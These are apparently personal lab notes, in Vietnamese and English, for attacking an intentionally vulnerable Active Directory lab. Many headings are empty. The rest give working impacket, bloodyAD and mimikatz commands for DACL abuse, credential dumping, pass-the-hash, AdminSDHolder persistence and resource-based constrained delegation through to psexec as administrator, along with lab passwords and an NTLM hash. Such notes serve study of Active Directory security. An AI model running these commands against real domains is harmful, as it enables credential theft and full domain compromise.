# Setup Active Directory Lab
window server 2019: Tan123#
`Set-ExecutionPolicy -ExecutionPolicy Bypass -Force`
Bỏ dòng cuối cùng trong [https://github.com/WaterExecution/vulnerable-AD-plus](https://github.com/WaterExecution/vulnerable-AD-plus)
`Import-Module .\vulnadplus.ps1`
`Invoke-VulnAD -UsersLimit 100 -DomainName "doan.com"`
#### **1. Enumerate the Domain**
#### **2. RID Cycling to Enumerate Users**
#### **3.Anonymous LDAP Queries**
#### **4.AS-REP Roasting Usernames**
User florette: ame.florette:martin
User atalanta.odele:
#### **5. Enumerate the Domain Account Policy**
#### **6. Kerberoasting Attack**
#### **7. Enumerating Public SMB Shares**
#### **8. Credential Spraying**
#### **9. Bloodhound**
#### **10. Credential Dumping: DCSync Attack**
#### **11. Credential Dumping: NTDS.dit**
#### **12. Credential Dumping: Local Security Authority (LSA|LSASS.EXE)**
#### **13. Credential Dumping: SAM**
#### **14. Shadow Credentials Attack**
alica.kai:Password2@
#### **15. Cài CA**
#### **16. ESC1**
#### **17. ESC5**
#### **18. ESC2**
#### **19. ESC3**
#### **20. ESC16**
ame.florette:martin
bryn.kin
70a65354fd80b2180fb0f39920d16d1a
#### **21. Abusing AD-DACL: WriteOwner**
**User Owns WriteOwner Permission on a Group**
CN=IT ADMINS,CN=USERS,DC=DOAN,DC=COM
```
impacket-owneredit -action write -new-owner 'ame.florette' -target-dn 'CN=IT ADMINS,CN=USERS,DC=DOAN,DC=COM' '[doan.com](http://doan.com/)'/'ame.florette':'martin' -dc-ip 192.168.134.10
```
```
impacket-dacledit -action 'write' -rights 'WriteMembers' -principal 'ame.florette' -target-dn 'CN=IT ADMINS,CN=USERS,DC=DOAN,DC=COM' '[doan.com](http://doan.com/)'/'ame.florette':'martin' -dc-ip 192.168.134.10
```
```
bloodyAD --host "192.168.134.10" -d "[doan.com](http://doan.com/)" -u "ame.florette" -p "martin" add groupMember "IT Admins" "ame.florette"
```
**User Owns WriteOwner Permission on Another User**
```
impacket-owneredit -action write -new-owner 'atalanta.odele' -target-dn 'CN=GREER BLISS,CN=USERS,DC=DOAN,DC=COM' '[doan.com](http://doan.com/)'/'atalanta.odele':'freddy' -dc-ip 192.168.134.10
```
```
impacket-dacledit -action 'write' -rights 'FullControl' -principal 'atalanta.odele' -target-dn 'CN=GREER BLISS,CN=USERS,DC=DOAN,DC=COM' '[doan.com](http://doan.com/)'/'atalanta.odele':'freddy' -dc-ip 192.168.134.10
```
#### **22. Abusing AD-DACL: WriteDacl**
**User Owns WriteDacl Permission on a Group**
```
impacket-dacledit -action 'write' -rights 'WriteMembers' -principal 'ame.florette' -target-dn 'CN=IT ADMINS,CN=USERS,DC=DOAN,DC=COM' '[doan.com](http://doan.com/)'/'ame.florette':'martin' -dc-ip 192.168.134.10
```
**User Owns WriteDacl Permission on Another User**
#### **23. Abusing AD-DACL: GenericWrite**
**User Owns GenericWrite Permission on a Group**
**User Owns GenericWrite Permission on Another User**
#### **24. Abusing AD-DACL : Generic ALL Permissions**
**User Owns Generic ALL Right For A Group**
**User Own Generic ALL Right for another user**
#### **25. Abusing AD-DACL: AllExtendedRights**
**User Owns AllExtendedRights Permission**
#### **26. Abusing AD-DACL: ForceChangePassword**
**User Owns ForceChangePassword Rights**
#### **27. Diamond Ticket Attack: Abusing kerberos Trust**
#### **28. Domain Persistence: Golden Ticket Attack**
sudo apt install krb5-user -y
#### **29. Domain Persistence: AdminSDHolder Attack**
adam.kai:Password2@
`REG ADD HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /V AdminSDProtectFrequency /T REG_DWORD /F /D 300`
(2 bước add reg bằng GUI không cần)
Khi xoá account adam.kai khỏi security sau 5 phút sẽ tự động được add vào
#### **30. Lateral Movement: Pass the Hash Attack**
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8fbdceeaaee125a2b744b72fd05a8a7f:::
Khai thác từ máy windows 10 user adam.kai:Password123 có quyền local admin đã join domain có tên PCCLIENT
Máy Windows server 2019 có tên DC01
Công cụ: Mimikatz
https://learn.microsoft.com/en-us/sysinternals/downloads/pstools
Cấu hình cho user adam.kai có quyền local admin để có thể chạy được Mimikatz
Tạo OU có tên Client
Move máy PCCLIENT sang OU Client
Vào Group Policy Management, Group Policy Object tạo GPO mới
Sau khi tạo xong Edit
Vào Computer Configuration, Preferences, Local Users and Groups, New, Local Group
Thêm user adam.kai và group name là Administrator Built In
Sau đó link GPO với OU Client
Chạy lại lệnh update chính sách GPO: gpupdate /force
Tại máy windows 10 user adam.kai chạy lệnh update chính sách GPO: gpupdate /force, lúc này có thể chạy local admin
Test thử .\PsExec.exe \\DC01.doan.com cmd
log passthehash.log
privilege::debug
sekurlsa::logonpasswords (crack hash của Administrator nếu đã login, nếu chưa có thể setup DCsync để crack hash)
sekurlsa::pth /user:Administrator /domain:doan.com /ntlm:8fbdceeaaee125a2b744b72fd05a8a7f
Sau khi chạy pth sẽ hiện 1 cmd của user adam.kai
cd C:\Users\adam.kai\Downloads\PSTools
.\PsExec.exe \\DC01.doan.com cmd
Tại máy client: Mở powershell bằng quyền admin Add-LocalGroupMember -Group Administrators -Member DOAN\adam.kai
Muốn xoá chạy Remove-LocalGroupMember -Group "Administrators" -Member "DOAN\adam.kai”
#### **31. Lateral Movement: Over Pass the Hash**
#### **32. Domain Escalation: Resource Based Constrained Delegation**
Password2@
```
unset KRB5CCNAME
impacket-addcomputer [doan.com/adam.kai:Password2@](http://doan.com/adam.kai:Password2@) -computer-name fakepc -computer-pass Password@123 -dc-ip 192.168.134.10
impacket-rbcd [doan.com/adam.kai:Password2@](http://doan.com/adam.kai:Password2@) -action write -delegate-to 'DC01$' -delegate-from 'fakepc$' -dc-ip 192.168.134.10
impacket-getST [doan.com/'fakepc$':Password@123](http://doan.com/'fakepc$':Password@123) -spn cifs/DC01.doan.com -impersonate administrator -dc-ip 192.168.134.10
export KRB5CCNAME=administrator@cifs_DC01.doan.com@DOAN.COM.ccache
impacket-psexec [doan.com/administrator@DC01.doan.com](http://doan.com/administrator@DC01.doan.com) -k -no-pass -dc-ip 192.168.134.10
```
#### **33. ESC4**
Sign in with Wallet
Connect another wallet